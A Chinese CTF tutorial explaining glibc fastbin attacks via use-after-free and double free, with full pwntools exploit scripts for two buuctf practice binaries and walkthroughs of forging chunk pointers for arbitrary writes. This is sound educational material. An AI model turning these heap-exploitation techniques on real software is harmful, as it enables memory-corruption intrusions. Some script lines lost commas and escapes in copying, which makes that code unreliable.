【PWN】fastbin attack

admin 2023年12月30日17:55:09评论28 views字数 4843阅读16分8秒阅读模式

fast bin攻击的主要思路是通过修改一个已经在fast bin链中的chunkfd来达到任意地址分配堆块的目的。

                                                                              --- 《CTF那些事儿》

介绍两种由于程序缺陷引发的fastbin attackUAFdouble free

1、UAF

这个缺陷主要涉及到堆上的缓冲区溢出,即可以通过溢出来实现对已经在fastbin内的chunk进行写操作,当然也不乏让你选择index的时候没有做检查,可以直接对已经free掉的chunk进行写操作的,例如下面这题:

例题:wustctf2020_easyfast - buuctf

【PWN】fastbin attack    
   

main

【PWN】fastbin attack    
   

add

【PWN】fastbin attack    
   

edit

【PWN】fastbin attack    
   

delete

可以看到edit的函数内,对于选取的index并没有做校验,且在delete函数内,free掉的chunk没有作置空操作,所以存在UAF(use after free)漏洞。

直接给writeup

from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"

p = process("./wustctf2020_easyfast")
# p = remote("node4.buuoj.cn", 28018)

def add(size):
    p.sendlineafter(b"choice>n"b"1")
    p.sendlineafter(b"size>n", str(size).encode("latin-1"))

def delete(index):
    p.sendlineafter(b"choice>n"b"2")
    p.sendlineafter(b"index>n", str(index).encode("latin-1"))

def edit(index, content):
    p.sendlineafter(b"choice>n"b"3")
    p.sendlineafter(b"index>n", str(index).encode("latin-1"))
    p.sendline(content)

def backdoor():
    p.sendlineafter(b"choice>n"b"4")

flag = 0x0602080

add(0x40)    # chunk 0
add(0x20)    # chunk 1

# USE AFTER FREE
delete(0)
edit(0, p64(flag))

add(0x40)    # chunk 2 = chunk 0
add(0x40)    # chunk 3

edit(3, p64(0))
backdoor()

p.interactive()

先添加两个大小在fastbin范围内的chunk 0,然后直接将第一个chunk通过free添加到fastbin链表中,然后edit操作直接修改chunk 0fd指针,为target_addr - 0x10(伪造的prev_sizesize的大小也要算上)。

最后直接连着添加两个相同大小的chunk,其中chunk 3获取的就是目标地址的chunk,可以实现任意地址写,将标志位修改然后跳转到后门地址即可完成getshell

经过调试,在将目标地址作为chunk的时候,其size字段被赋值为0x50

【PWN】fastbin attack

所以不会报错,不过在下面这题的情况下需要自己构造size字段,否则将会利用不成功。

1、double free

字面意思就是对同一个堆块进行两次free操作,即在fastbin中出现了两个实际上一样的堆块,在malloc其中一个的时候,对其写入实际上就是对在fastbin中的chunk进行写入。

例题:metasequoia_2020_samsara - buuctf

程序都写在main函数内:

【PWN】fastbin attack    
   

main

这题同样存在UAF漏洞,也可以使用第一题的解法来解题,不过这次我们换个方法。

直接给writeup

from pwn import *
context(arch="amd64", os="linux")
context.log_level = "debug"

# p = process("./metasequoia_2020_samsara")
p = remote("node4.buuoj.cn"28966)

def capture():
    p.recvuntil(b"choice > ")
    p.sendline(b"1")

def eat(index):
    p.recvuntil(b"choice > ")
    p.sendline(b"2")
    p.recvuntil(b"Index:n")
    p.sendline(str(index).encode("latin-1"))

def cook(index, ingredient):
    p.recvuntil(b"choice > ")
    p.sendline(b"3")
    p.recvuntil(b"Index:n")
    p.sendline(str(index).encode("latin-1"))
    p.recvuntil(b"Ingredient:n")
    p.sendline(ingredient)

def lair():
    p.recvuntil(b"choice > ")
    p.sendline(b"4")

def move(kingdom):
    p.recvuntil(b"choice > ")
    p.sendline(b"5")
    p.recvuntil(b"Which kingdom?n")
    p.sendline(str(kingdom).encode("latin-1"))

def shell():
    p.recvuntil(b"choice > ")
    p.sendline(b"6")

capture()       # chunk 0
capture()       # chunk 1
capture()       # chunk 2

eat(0)
eat(1)
eat(0)

capture()       # chunk 3
# 伪造的chunk的size不能少,不然会报错
move(0x20)

lair()
p.recvuntil(b"Your lair is at: ")
v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
log.success("{}: {:#x}".format("v8", v8))

cook(3, str(v8 - 0x10).encode())

capture()       # chunk 4
capture()       # chunk 5
capture()       # chunk 6

cook(6, str(0xdeadbeef).encode())
shell()

# 第一种方法
# capture()
# capture()

# eat(0)

# move(0x20)
# lair()
# p.recvuntil(b"Your lair is at: ")
# v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
# log.success("{}: {:#x}".format("v8", v8))

# cook(0, str(v8 - 0x10).encode())

# capture()
# capture()
# cook(3, str(0xdeadbeef).encode())

# shell()
p.interactive()

wp内包括了第一种方法,我就不多做解释了.

分析一下程序中的case 1

      case 1:                                   // add
        if ( index >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          v3 = index;
          *((_QWORD *)&unk_202040 + v3) = malloc(8uLL);
          ++index;
          puts("Captured.");
        }
        continue;

最多获取7个chunk,且每次获取的大小为0x8,加上chunkprev_sizesize之后也才0x18,小于最小的chunk大小,所以其实获取到的chunk大小为0x20

首先添加三个chunk,然后经过三次free操作,将chunk 0fastbin中添加两次,这边中间夹着一个chunk 1主要是为了绕过堆管理器的安全校验(非常潦草的一个校验)。

然后再添加一个chunk 3,实际上就是chunk 0。然后:

move(0x20)

lair()
p.recvuntil(b"Your lair is at: ")
v8 = int(p.recvuntil(b"n")[:-1], 16) + 0x8
log.success("{}: {:#x}".format("v8", v8))

其中的move操作可以看源码:

      case 5:
        puts("Which kingdom?");
        _isoc99_scanf("%llu", &v9);
        v7 = v9;
        puts("Moved.");
        continue;

将一个值读入v9,然后再赋值给v7,而我们要触发后门的条件为:

      case 6:
        if ( v8 == 0xDEADBEEFLL )
          system("/bin/cat /pwn/flag");
        puts("Now, there's no Demon Dragon anymore...");

v8需要是0xdeadbeefv7v8v9在栈上的分布如下:

  __int64 v7; // [rsp+18h] [rbp-38h] BYREF
  __int64 v8; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h] BYREF

很显然,目的是为了修改v8处的值,所以这也是chunk生成的目标地址,所以v7处的值会被当成size字段,这边通过move操作将v7赋值为0x20,是为了跟程序malloc到的chunk大小一致,不加这个的话会报错,显示size部分错误。

然后通过查看lair的操作,获取v7的地址,通过计算得到v8的地址。

cook(3, str(v8 - 0x10).encode())

之后是对chunk 3(chunk 0)进行写入,将fd指针写为v8 - 0x10的地址。

capture()       # chunk 4
capture()       # chunk 5
capture()       # chunk 6

cook(6, str(0xdeadbeef).encode())
shell()

接着就是常规的连着获取两次chunk,将fastbins中正常的chunk获取到,然后再进行一次malloc就能获取到v8处的chunk,实现任意地址写。

最后跳转到后门地址,实现flag获取。

【PWN】fastbin attack


原文始发于微信公众号(Stack0verf1ow):【PWN】fastbin attack

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月30日17:55:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】fastbin attackhttps://cn-sec.com/archives/2351162.html

发表评论

匿名网友 填写信息